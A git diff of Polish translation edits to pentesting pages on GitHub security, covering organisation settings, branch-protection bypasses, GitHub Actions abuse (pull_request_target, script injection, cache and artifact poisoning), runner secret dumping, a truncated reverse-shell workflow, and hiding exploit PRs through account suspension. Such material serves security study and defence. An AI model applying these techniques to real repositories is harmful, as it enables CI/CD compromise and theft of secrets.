zewnętrzni współpracownicy będą mogli prosić o dostęp do aplikacji GitHub lub OAuth, aby uzyskać dostęp do tej organizacji i jej zasobów. Zwykle jest to potrzebne, ale jeśli nie, lepiej to wyłączyć. -- _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli masz_ -- **Zmiana widoczności repozytoriów**: Jeśli włączone, **członkowie** z **uprawnieniami admina** do **repozytorium** będą mogli **zmieniać jego widoczność**. Jeśli wyłączone, tylko właściciele organizacji mogą zmieniać widoczności repozytoriów. Jeśli **nie** chcesz, aby ludzie publikowali rzeczy **publicznie**, upewnij się, że to jest **wyłączone**. -- _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli masz_ -- **Usuwanie i przenoszenie repozytoriów**: Jeśli włączone, członkowie z **uprawnieniami admina** do repozytorium będą mogli **usuwać** lub **przenosić** publiczne i prywatne **repozytoria**. -- _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli masz_ -- **Pozwól członkom na tworzenie zespołów**: Jeśli włączone, każdy **członek** organizacji będzie mógł **tworzyć** nowe **zespoły**. Jeśli wyłączone, tylko właściciele organizacji mogą tworzyć nowe zespoły. Lepiej jest to wyłączyć. -- _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli masz_ -- **Więcej rzeczy można skonfigurować** na tej stronie, ale powyższe są najbardziej związane z bezpieczeństwem. +- **Prośby o dostęp do integracji**: Po włączeniu tej opcji zewnętrzni współpracownicy będą mogli prosić o dostęp do aplikacji GitHub lub OAuth, aby uzyskać dostęp do tej organizacji i jej zasobów. Zwykle jest to potrzebne, ale jeśli nie, lepiej to wyłączyć. +- _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli je masz_ +- **Zmiana widoczności repozytoriów**: Jeśli włączone, **członkowie** z uprawnieniami **admin** do **repozytorium** będą mogli **zmieniać jego widoczność**. Jeśli wyłączone, tylko właściciele organizacji mogą zmieniać widoczności repozytoriów. Jeśli **nie** chcesz, aby ludzie publikowali rzeczy **publicznie**, upewnij się, że to jest **wyłączone**. +- _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli je masz_ +- **Usuwanie i przenoszenie repozytoriów**: Jeśli włączone, członkowie z uprawnieniami **admin** do repozytorium będą mogli **usuwać** lub **przenosić** publiczne i prywatne **repozytoria**. +- _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli je masz_ +- **Pozwól członkom na tworzenie zespołów**: Jeśli włączone, każdy **członek** organizacji będzie mógł **tworzyć** nowe **zespoły**. Jeśli wyłączone, tylko właściciele organizacji mogą tworzyć nowe zespoły. Lepiej, aby to było wyłączone. +- _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli je masz_ +- **Więcej rzeczy można skonfigurować** na tej stronie, ale poprzednie są najbardziej związane z bezpieczeństwem. ### Ustawienia akcji @@ -90,9 +90,9 @@ Kilka ustawień związanych z bezpieczeństwem można skonfigurować dla akcji z - **Polityki akcji Github**: Pozwala to wskazać, które repozytoria mogą uruchamiać workflow i które workflow powinny być dozwolone. Zaleca się **określenie, które repozytoria** powinny być dozwolone i nie pozwalać na uruchamianie wszystkich akcji. - [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization) - **Workflow pull requestów z zewnętrznych współpracowników**: Zaleca się **wymaganie zatwierdzenia dla wszystkich** zewnętrznych współpracowników. -- _Nie mogłem znaleźć API z tymi informacjami, podziel się, jeśli masz_ +- _Nie mogłem znaleźć API z tymi informacjami, podziel się, jeśli je masz_ - **Uruchamianie workflow z pull requestów**: Jest **wysoce odradzane uruchamianie workflow z pull requestów**, ponieważ utrzymujący fork będą mieli możliwość używania tokenów z uprawnieniami do odczytu w repozytorium źródłowym. -- _Nie mogłem znaleźć API z tymi informacjami, podziel się, jeśli masz_ +- _Nie mogłem znaleźć API z tymi informacjami, podziel się, jeśli je masz_ - **Uprawnienia workflow**: Zdecydowanie zaleca się **przyznawanie tylko uprawnień do odczytu repozytoriów**. Odradza się przyznawanie uprawnień do zapisu i tworzenia/zatwierdzania pull requestów, aby uniknąć nadużywania GITHUB_TOKEN przyznawanego do uruchamiania workflow. - [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization) @@ -100,7 +100,7 @@ Kilka ustawień związanych z bezpieczeństwem można skonfigurować dla akcji z _Daj mi znać, jeśli znasz punkt końcowy API, aby uzyskać te informacje!_ -- **Polityka dostępu aplikacji stron trzecich**: Zaleca się ograniczenie dostępu do każdej aplikacji i zezwolenie tylko na te potrzebne (po ich przeglądzie). +- **Polityka dostępu aplikacji zewnętrznych**: Zaleca się ograniczenie dostępu do każdej aplikacji i zezwolenie tylko na te potrzebne (po ich przeglądzie). - **Zainstalowane aplikacje GitHub**: Zaleca się zezwolenie tylko na te potrzebne (po ich przeglądzie). ## Rozpoznanie i ataki nadużywające poświadczeń @@ -142,9 +142,9 @@ gpg --list-secret-keys --keyid-format=long ``` ### Z tokenem użytkownika -Aby uzyskać wprowadzenie do [**Tokenów użytkownika sprawdź podstawowe informacje**](basic-github-information.md#personal-access-tokens). +Aby uzyskać wprowadzenie do [**Tokenów Użytkownika sprawdź podstawowe informacje**](basic-github-information.md#personal-access-tokens). -Token użytkownika może być używany **zamiast hasła** do Git przez HTTPS lub może być używany do [**uwierzytelniania w API za pomocą Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). W zależności od przypisanych do niego uprawnień możesz być w stanie wykonać różne akcje. +Token użytkownika może być używany **zamiast hasła** do Git przez HTTPS lub może być używany do [**uwierzytelniania w API za pomocą Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). W zależności od przypisanych do niego uprawnień, możesz być w stanie wykonać różne akcje. Token użytkownika wygląda tak: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123` @@ -177,11 +177,11 @@ abusing-github-actions/ ## Ominięcie ochrony gałęzi - **Wymagaj liczby zatwierdzeń**: Jeśli skompromitowałeś kilka kont, możesz po prostu zaakceptować swoje PR z innych kont. Jeśli masz tylko konto, z którego utworzyłeś PR, nie możesz zaakceptować swojego własnego PR. Jednak jeśli masz dostęp do środowiska **Github Action** w repozytorium, używając **GITHUB_TOKEN**, możesz być w stanie **zatwierdzić swój PR** i w ten sposób uzyskać 1 zatwierdzenie. -- _Uwaga dla tego i dla ograniczenia Właścicieli kodu, że zazwyczaj użytkownik nie będzie mógł zatwierdzić swoich własnych PR, ale jeśli możesz, możesz to nadużyć, aby zaakceptować swoje PR._ +- _Uwaga dla tego i dla ograniczenia Właścicieli Kodów, że zazwyczaj użytkownik nie będzie mógł zatwierdzić swoich własnych PR, ale jeśli możesz, możesz to nadużyć, aby zaakceptować swoje PR._ - **Odrzuć zatwierdzenia, gdy nowe commity są przesyłane**: Jeśli to nie jest ustawione, możesz przesłać legalny kod, poczekać, aż ktoś go zatwierdzi, a następnie dodać złośliwy kod i połączyć go z chronioną gałęzią. -- **Wymagaj przeglądów od Właścicieli kodu**: Jeśli to jest aktywowane i jesteś Właścicielem kodu, możesz sprawić, że **Github Action utworzy twój PR, a następnie zatwierdzisz go samodzielnie**. -- Gdy plik **CODEOWNER jest źle skonfigurowany**, Github nie zgłasza problemu, ale go nie używa. Dlatego, jeśli jest źle skonfigurowany, **ochrona Właścicieli kodu nie jest stosowana.** -- **Zezwól określonym aktorom na ominięcie wymagań dotyczących pull requestów**: Jeśli jesteś jednym z tych aktorów, możesz ominąć ochrony pull requestów. +- **Wymagaj przeglądów od Właścicieli Kodów**: Jeśli to jest aktywowane i jesteś Właścicielem Kodu, możesz sprawić, że **Github Action utworzy twój PR, a następnie zatwierdzisz go samodzielnie**. +- Gdy plik **CODEOWNER jest źle skonfigurowany**, Github nie zgłasza zastrzeżeń, ale go nie używa. Dlatego, jeśli jest źle skonfigurowany, **ochrona Właścicieli Kodów nie jest stosowana.** +- **Zezwól określonym aktorom na ominięcie wymagań dotyczących pull requestów**: Jeśli jesteś jednym z tych aktorów, możesz ominąć ochronę pull requestów. - **Uwzględnij administratorów**: Jeśli to nie jest ustawione i jesteś administratorem repozytorium, możesz ominąć te ochrony gałęzi. - **Przechwytywanie PR**: Możesz być w stanie **zmodyfikować PR kogoś innego**, dodając złośliwy kod, zatwierdzając wynikowy PR samodzielnie i łącząc wszystko. - **Usuwanie ochron gałęzi**: Jeśli jesteś **administratorem repozytorium, możesz wyłączyć ochrony**, połączyć swój PR i ponownie ustawić ochrony. @@ -216,7 +216,7 @@ Zauważ, że **po utworzeniu** gałęzi **ochrona gałęzi będzie miała zastos ### Fałszywe Commity - Tylne wejście przez commity repo -W Githubie możliwe jest **utworzenie PR do repo z forka**. Nawet jeśli PR **nie zostanie zaakceptowany**, identyfikator **commita** w oryginalnym repo zostanie utworzony dla wersji kodu z forka. Dlatego atakujący **może przypiąć się do użycia konkretnego commita z pozornie legalnego repo, które nie zostało utworzone przez właściciela repo**. +W Githubie możliwe jest **utworzenie PR do repo z forka**. Nawet jeśli PR nie jest **zaakceptowany**, identyfikator **commita** w oryginalnym repo zostanie utworzony dla wersji kodu z forka. Dlatego atakujący **może przypiąć do użycia konkretny commit z pozornie legalnego repo, które nie zostało utworzone przez właściciela repo**. Jak [**to**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e): ```yaml diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index 4dc2e7c6a..99983a661 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -28,7 +28,7 @@ Jeśli możesz **wykonywać dowolny kod w GitHub Actions** w ramach **repozytori ## GITHUB_TOKEN -Ten "**sekret**" (pochodzący z `${{ secrets.GITHUB_TOKEN }}` i `${{ github.token }}`) jest przyznawany, gdy administrator włączy tę opcję: +Ten "**sekret**" (pochodzący z `${{ secrets.GITHUB_TOKEN }}` i `${{ github.token }}`) jest przyznawany, gdy administrator włącza tę opcję:
@@ -81,7 +81,7 @@ https://api.github.com/repos///pulls \ {{#endtabs }} > [!OSTRZEŻENIE] -> Zauważ, że w kilku przypadkach będziesz mógł znaleźć **tokeny użytkowników githuba w zmiennych środowiskowych Github Actions lub w sekretach**. Te tokeny mogą dać ci większe uprawnienia do repozytorium i organizacji. +> Zauważ, że w kilku przypadkach będziesz mógł znaleźć **tokeny użytkowników githuba w zmiennych środowiskowych Github Actions lub w sekretnych**. Te tokeny mogą dać ci większe uprawnienia do repozytorium i organizacji.
@@ -181,11 +181,11 @@ Wyzwalacz workflow **`pull_request`** wykona workflow za każdym razem, gdy otrz > [!NOTE] > Ponieważ **domyślne ograniczenie** dotyczy **pierwszych** współpracowników, możesz przyczynić się do **naprawy ważnego błędu/typówki**, a następnie wysłać **inne PR-y, aby nadużyć swoich nowych uprawnień `pull_request`**. > -> **Testowałem to i to nie działa**: ~~Inną opcją byłoby stworzenie konta o nazwie kogoś, kto przyczynił się do projektu i usunął swoje konto.~~ +> **Testowałem to i to nie działa**: ~~Inną opcją byłoby stworzenie konta o nazwie kogoś, kto przyczynił się do projektu i usunięcie jego konta.~~ Ponadto, domyślnie **zapobiega uprawnieniom do zapisu** i **dostępowi do sekretów** w docelowym repozytorium, jak wspomniano w [**dokumentacji**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): -> Z wyjątkiem `GITHUB_TOKEN`, **sekrety nie są przekazywane do runnera** gdy workflow jest wyzwalany z **forkowanego** repozytorium. **`GITHUB_TOKEN ma uprawnienia tylko do odczytu** w pull requestach **z forkowanych repozytoriów**. +> Z wyjątkiem `GITHUB_TOKEN`, **sekrety nie są przekazywane do runnera**, gdy workflow jest wyzwalany z **forkowanego** repozytorium. **`GITHUB_TOKEN ma uprawnienia tylko do odczytu** w pull requestach **z forkowanych repozytoriów**. Atakujący mógłby zmodyfikować definicję akcji Github, aby wykonać dowolne rzeczy i dodać dowolne akcje. Jednak nie będzie w stanie ukraść sekretów ani nadpisać repozytorium z powodu wspomnianych ograniczeń. @@ -238,10 +238,10 @@ W przypadku **`pull_request`** workflow będzie wykonywany w **kontekście PR** W przypadku workflow używającego **`pull_request_target` lub `workflow_run`**, który zależy od workflow, który może być wyzwolony z **`pull_request_target` lub `pull_request`**, kod z oryginalnego repozytorium zostanie wykonany, więc **atakujący nie może kontrolować wykonanego kodu**. -> [!OSTRZEŻENIE] +> [!CAUTION] > Jednak jeśli **akcja** ma **wyraźny checkout PR**, który **pobierze kod z PR** (a nie z bazy), użyje kodu kontrolowanego przez atakującego. Na przykład (sprawdź linię 12, gdzie pobierany jest kod PR): -
# NIEBEZPIECZNE. Podano tylko jako przykład.
+
# INSECURE. Podano tylko jako przykład.
 on:
 pull_request_target
 
@@ -271,12 +271,12 @@ Dziękuję!
 
 Potencjalnie **niezaufany kod jest uruchamiany podczas `npm install` lub `npm build`**, ponieważ skrypty budujące i odwołane **pakiety są kontrolowane przez autora PR**.
 
-> [!OSTRZEŻENIE]
+> [!WARNING]
 > Github dork do wyszukiwania podatnych akcji to: `event.pull_request pull_request_target extension:yml`, jednak istnieją różne sposoby konfigurowania zadań do wykonywania w sposób bezpieczny, nawet jeśli akcja jest skonfigurowana w sposób niebezpieczny (jak używanie warunków dotyczących tego, kto jest aktorem generującym PR).
 
 ### Wstrzyknięcia Skryptów w Kontekście 
 
-Zauważ, że istnieją pewne [**konteksty githuba**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context), których wartości są **kontrolowane** przez **użytkownika** tworzącego PR. Jeśli akcja githuba używa tych **danych do wykonania czegokolwiek**, może to prowadzić do **wykonywania dowolnego kodu:**
+Zauważ, że istnieją pewne [**konteksty githuba**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context), których wartości są **kontrolowane** przez **użytkownika** tworzącego PR. Jeśli akcja githuba używa tych **danych do wykonania czegokolwiek**, może to prowadzić do **wykonania dowolnego kodu:**
 
 {{#ref}}
 gh-actions-context-script-injections.md
@@ -360,7 +360,7 @@ Jeśli inne repozytoria korzystały z **zależności z repozytoriów tego użytk
 
 ### Zatrucie pamięci podręcznej
 
-Pamięć podręczna jest utrzymywana między **uruchomieniami workflow w tej samej gałęzi**. Oznacza to, że jeśli atakujący **skomprumuje** **pakiet**, który jest następnie przechowywany w pamięci podręcznej i **pobierany** oraz wykonywany przez **bardziej uprzywilejowany** workflow, będzie mógł również **skomprumować** ten workflow.
+Pamięć podręczna jest utrzymywana między **uruchomieniami workflow w tej samej gałęzi**. Oznacza to, że jeśli atakujący **skomprimitował** **pakiet**, który jest następnie przechowywany w pamięci podręcznej i **pobierany** oraz wykonywany przez **bardziej uprzywilejowany** workflow, będzie mógł również **skomprimitować** ten workflow.
 
 {{#ref}}
 gh-actions-cache-poisoning.md
@@ -368,7 +368,7 @@ gh-actions-cache-poisoning.md
 
 ### Zatrucie artefaktów
 
-Workflow mogą korzystać z **artefaktów z innych workflow, a nawet repozytoriów**, jeśli atakujący zdoła **skomprumować** Github Action, która **przesyła artefakt**, który jest później używany przez inny workflow, może **skomprumować inne workflow**:
+Workflow mogą korzystać z **artefaktów z innych workflow, a nawet repozytoriów**, jeśli atakujący zdoła **skomprimitować** Github Action, która **przesyła artefakt**, który jest później używany przez inny workflow, może **skomprimitować inne workflow**:
 
 {{#ref}}
 gh-actions-artifact-poisoning.md
@@ -425,7 +425,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 
 
-Uzyskaj powłokę odwrotną z sekretami +Uzyskaj powłokę odwrotną z tajemnicami ```yaml name: revshell on: @@ -468,7 +468,7 @@ key: ${{ secrets.PUBLISH_KEY }} Sposobem na znalezienie, które **Github Actions są wykonywane w infrastrukturze nie-Github** jest wyszukiwanie **`runs-on: self-hosted`** w konfiguracji yaml akcji Github. -**Samodzielnie hostowane** runnery mogą mieć dostęp do **dodatkowych wrażliwych informacji**, do innych **systemów sieciowych** (vulnerable endpoints in the network? metadata service?) lub, nawet jeśli są izolowane i zniszczone, **więcej niż jedna akcja może być uruchamiana jednocześnie** i złośliwa mogłaby **ukraść sekrety** innej. +**Samodzielnie hostowane** runnery mogą mieć dostęp do **dodatkowych wrażliwych informacji**, do innych **systemów sieciowych** (wrażliwe punkty końcowe w sieci? usługa metadanych?) lub, nawet jeśli są izolowane i zniszczone, **więcej niż jedna akcja może być uruchamiana jednocześnie** i złośliwa mogłaby **ukraść sekrety** innej. W samodzielnie hostowanych runnerach możliwe jest również uzyskanie **sekretów z procesu \_Runner.Listener**\_\*\* który będzie zawierał wszystkie sekrety workflow na każdym etapie poprzez zrzut jego pamięci: ```bash @@ -479,12 +479,12 @@ Sprawdź [**ten post, aby uzyskać więcej informacji**](https://karimrahal.com/ ### Rejestr obrazów Docker w Github -Możliwe jest tworzenie akcji Github, które **budują i przechowują obraz Docker wewnątrz Github**.\ +Możliwe jest tworzenie akcji Github, które **budują i przechowują obraz Docker w Github**.\ Przykład można znaleźć w poniższym rozwijanym:
-Akcja Github Buduj & Wypchnij obraz Docker +Github Action Build & Push Docker Image ```yaml [...] @@ -530,11 +530,11 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m ### Wrażliwe informacje w logach Github Actions -Nawet jeśli **Github** próbuje **wykrywać wartości sekretów** w logach akcji i **unika ich wyświetlania**, **inne wrażliwe dane**, które mogły zostać wygenerowane podczas wykonywania akcji, nie będą ukryte. Na przykład JWT podpisany wartością sekretu nie będzie ukryty, chyba że jest [specjalnie skonfigurowany](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). +Nawet jeśli **Github** próbuje **wykrywać wartości sekretów** w logach akcji i **unikać ich pokazywania**, **inne wrażliwe dane**, które mogły zostać wygenerowane podczas wykonywania akcji, nie będą ukryte. Na przykład JWT podpisany wartością sekretu nie będzie ukryty, chyba że jest [specjalnie skonfigurowany](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). ## Zacieranie śladów -(Teknik z [**tutaj**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Przede wszystkim, każdy PR zgłoszony jest wyraźnie widoczny dla publiczności w Github i dla docelowego konta GitHub. W GitHub domyślnie **nie możemy usunąć PR z internetu**, ale jest pewien zwrot. Dla kont GitHub, które są **zawieszone** przez Github, wszystkie ich **PR są automatycznie usuwane** i usuwane z internetu. Aby ukryć swoją aktywność, musisz albo uzyskać **zawieszenie swojego konta GitHub, albo oznaczenie swojego konta**. To **ukryje wszystkie twoje aktywności** na GitHubie z internetu (w zasadzie usunie wszystkie twoje PR związane z eksploatacją). +(Teknik z [**tutaj**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Przede wszystkim, każdy PR zgłoszony jest wyraźnie widoczny dla publiczności w Github i dla docelowego konta GitHub. W GitHub domyślnie **nie możemy usunąć PR z internetu**, ale jest pewien zwrot akcji. Dla kont GitHub, które są **zawieszone** przez Github, wszystkie ich **PR są automatycznie usuwane** i usuwane z internetu. Aby ukryć swoją aktywność, musisz albo uzyskać **zawieszenie swojego konta GitHub, albo oznaczenie swojego konta**. To **ukryje wszystkie twoje aktywności** na GitHubie z internetu (w zasadzie usunie wszystkie twoje PR związane z eksploatacją). Organizacja w GitHub jest bardzo proaktywna w zgłaszaniu kont do GitHub. Wszystko, co musisz zrobić, to podzielić się „jakimiś rzeczami” w Issue, a oni upewnią się, że twoje konto zostanie zawieszone w ciągu 12 godzin :p i oto masz, uczyniłeś swoją eksploatację niewidoczną na githubie. diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md index 8a9407305..5a94e1e31 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md @@ -1 +1 @@ -# Gh Actions - Wstrzyknięcia skryptów kontekstowych +# Gh Actions - Wstrzykiwanie skryptów kontekstowych diff --git a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md index f5b8bade0..f41707faf 100644 --- a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md +++ b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -Sposoby dostępu do danych z Github, które rzekomo zostały usunięte, zostały [**zgłoszone w tym wpisie na blogu**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github). +Sposoby na dostęp do danych z Github, które rzekomo zostały usunięte, zostały [**zgłoszone w tym wpisie na blogu**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github). ## Dostęp do usuniętych danych forków diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md index 733f03038..a453e166a 100644 --- a/src/pentesting-ci-cd/github-security/basic-github-information.md +++ b/src/pentesting-ci-cd/github-security/basic-github-information.md @@ -24,9 +24,9 @@ I w końcu **repozytoria mogą mieć specjalne mechanizmy ochrony**. W organizacji użytkownicy mogą mieć różne role: - **Właściciele organizacji**: Właściciele organizacji mają **pełny dostęp administracyjny do twojej organizacji**. Ta rola powinna być ograniczona, ale nie mniej niż dla dwóch osób w twojej organizacji. -- **Członkowie organizacji**: Domyślną, nieadministracyjną rolą dla **osób w organizacji** jest członek organizacji. Domyślnie członkowie organizacji **mają szereg uprawnień**. +- **Członkowie organizacji**: **Domyślna**, nieadministracyjna rola dla **osób w organizacji** to członek organizacji. Domyślnie członkowie organizacji **mają szereg uprawnień**. - **Menedżerowie ds. rozliczeń**: Menedżerowie ds. rozliczeń to użytkownicy, którzy mogą **zarządzać ustawieniami rozliczeń dla twojej organizacji**, takimi jak informacje o płatności. -- **Menedżerowie ds. bezpieczeństwa**: To rola, którą właściciele organizacji mogą przypisać dowolnemu zespołowi w organizacji. Po zastosowaniu, daje każdemu członkowi zespołu uprawnienia do **zarządzania alertami bezpieczeństwa i ustawieniami w całej organizacji, a także uprawnienia do odczytu dla wszystkich repozytoriów** w organizacji. +- **Menedżerowie ds. bezpieczeństwa**: To rola, którą właściciele organizacji mogą przypisać dowolnemu zespołowi w organizacji. Po zastosowaniu, daje to każdemu członkowi zespołu uprawnienia do **zarządzania alertami bezpieczeństwa i ustawieniami w całej organizacji, a także uprawnienia do odczytu dla wszystkich repozytoriów** w organizacji. - Jeśli twoja organizacja ma zespół ds. bezpieczeństwa, możesz użyć roli menedżera ds. bezpieczeństwa, aby dać członkom zespołu minimalny dostęp, którego potrzebują do organizacji. - **Menedżerowie aplikacji Github**: Aby umożliwić dodatkowym użytkownikom **zarządzanie aplikacjami GitHub należącymi do organizacji**, właściciel może przyznać im uprawnienia menedżera aplikacji GitHub. - **Zewnętrzni współpracownicy**: Zewnętrzny współpracownik to osoba, która ma **dostęp do jednego lub więcej repozytoriów organizacji, ale nie jest wyraźnie członkiem** organizacji. @@ -44,7 +44,7 @@ Ustawienia skonfigurowane tutaj wskażą następujące uprawnienia członków or - Czy możliwe jest forkowanie repozytoriów. - Czy możliwe jest zapraszanie zewnętrznych współpracowników. - Czy publiczne lub prywatne strony mogą być publikowane. -- Uprawnienia, jakie mają administratorzy nad repozytoriami. +- Uprawnienia, jakie mają administratorzy do repozytoriów. - Czy członkowie mogą tworzyć nowe zespoły. ### Role w repozytorium @@ -55,7 +55,7 @@ Domyślnie role w repozytorium są tworzone: - **Triage**: Zalecane dla **współpracowników, którzy muszą proaktywnie zarządzać problemami i pull requestami** bez dostępu do zapisu. - **Zapis**: Zalecane dla współpracowników, którzy **aktywnie wprowadzają zmiany do twojego projektu**. - **Zarządzanie**: Zalecane dla **menedżerów projektów, którzy muszą zarządzać repozytorium** bez dostępu do wrażliwych lub destrukcyjnych działań. -- **Administrator**: Zalecane dla osób, które potrzebują **pełnego dostępu do projektu**, w tym wrażliwych i destrukcyjnych działań, takich jak zarządzanie bezpieczeństwem lub usuwanie repozytorium. +- **Administrator**: Zalecane dla osób, które potrzebują **pełnego dostępu do projektu**, w tym wrażliwych i destrukcyjnych działań, takich jak zarządzanie bezpieczeństwem lub usuwanie repozytoriów. Możesz **porównać uprawnienia** każdej roli w tej tabeli [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role) @@ -98,11 +98,11 @@ Aplikacje Oauth mogą prosić cię o uprawnienia **do uzyskania dostępu do czę - Możesz **utworzyć** własne **aplikacje Oauth** w [https://github.com/settings/developers](https://github.com/settings/developers) - Możesz zobaczyć wszystkie **aplikacje Oauth, które mają dostęp do twojego konta** w [https://github.com/settings/applications](https://github.com/settings/applications) - Możesz zobaczyć **zakresy, o które mogą prosić aplikacje Oauth** w [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) -- Możesz zobaczyć dostęp aplikacji trzecich w **organizacji** w _https://github.com/organizations/\/settings/oauth_application_policy_ +- Możesz zobaczyć dostęp aplikacji stron trzecich w **organizacji** w _https://github.com/organizations/\/settings/oauth_application_policy_ Kilka **zalecenia dotyczące bezpieczeństwa**: -- **Aplikacja OAuth** powinna zawsze **działać jako uwierzytelniony użytkownik GitHub we wszystkich aspektach GitHub** (na przykład, gdy dostarcza powiadomienia użytkownikowi) i mieć dostęp tylko do określonych zakresów. +- **Aplikacja OAuth** powinna zawsze **działać jako uwierzytelniony użytkownik GitHub we wszystkich aspektach GitHub** (na przykład, gdy dostarcza powiadomienia użytkownika) i mieć dostęp tylko do określonych zakresów. - Aplikacja OAuth może być używana jako dostawca tożsamości, włączając "Logowanie z GitHub" dla uwierzytelnionego użytkownika. - **Nie** buduj **aplikacji OAuth**, jeśli chcesz, aby twoja aplikacja działała na **pojedynczym repozytorium**. Z zakresem `repo`, aplikacje OAuth mogą **działać na _wszystkich_** repozytoriach uwierzytelnionego użytkownika. - **Nie** buduj aplikacji OAuth, aby działała jako aplikacja dla twojego **zespołu lub firmy**. Aplikacje OAuth uwierzytelniają się jako **pojedynczy użytkownik**, więc jeśli jedna osoba stworzy aplikację OAuth dla firmy do użycia, a następnie opuści firmę, nikt inny nie będzie miał do niej dostępu. @@ -116,23 +116,23 @@ Aplikacje Github mogą prosić o uprawnienia do **uzyskania dostępu do twoich i - Aplikacja GitHub powinna **łączyć się z osobistym kontem lub organizacją**. - Możesz stworzyć własną aplikację Github w [https://github.com/settings/apps](https://github.com/settings/apps) - Możesz zobaczyć wszystkie **aplikacje Github, które mają dostęp do twojego konta** w [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) -- Oto **punkty końcowe API dla aplikacji Github** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). W zależności od uprawnień aplikacji, będzie mogła uzyskać dostęp do niektórych z nich. +- To są **punkty końcowe API dla aplikacji Github** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). W zależności od uprawnień aplikacji, będzie mogła uzyskać dostęp do niektórych z nich. - Możesz zobaczyć zainstalowane aplikacje w **organizacji** w _https://github.com/organizations/\/settings/installations_ Kilka zaleceń dotyczących bezpieczeństwa: -- Aplikacja GitHub powinna **podejmować działania niezależnie od użytkownika** (chyba że aplikacja używa tokena [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Aby zachować większe bezpieczeństwo tokenów dostępu user-to-server, możesz użyć tokenów dostępu, które wygasną po 8 godzinach, oraz tokena odświeżającego, który można wymienić na nowy token dostępu. Więcej informacji znajdziesz w "[Odświeżanie tokenów dostępu user-to-server](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." +- Aplikacja GitHub powinna **podejmować działania niezależnie od użytkownika** (chyba że aplikacja używa tokena [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Aby zachować większe bezpieczeństwo tokenów dostępu user-to-server, możesz używać tokenów dostępu, które wygasają po 8 godzinach, oraz tokena odświeżającego, który można wymienić na nowy token dostępu. Aby uzyskać więcej informacji, zobacz "[Odświeżanie tokenów dostępu user-to-server](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." - Upewnij się, że aplikacja GitHub integruje się z **określonymi repozytoriami**. - Aplikacja GitHub powinna **łączyć się z osobistym kontem lub organizacją**. -- Nie oczekuj, że aplikacja GitHub będzie wiedziała i robiła wszystko, co może zrobić użytkownik. -- **Nie używaj aplikacji GitHub, jeśli potrzebujesz tylko usługi "Logowanie z GitHub"**. Ale aplikacja GitHub może użyć [przepływu identyfikacji użytkownika](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) do logowania użytkowników _i_ wykonywania innych działań. +- Nie oczekuj, że aplikacja GitHub będzie wiedziała i robiła wszystko, co może użytkownik. +- **Nie używaj aplikacji GitHub, jeśli potrzebujesz tylko usługi "Logowanie z GitHub"**. Ale aplikacja 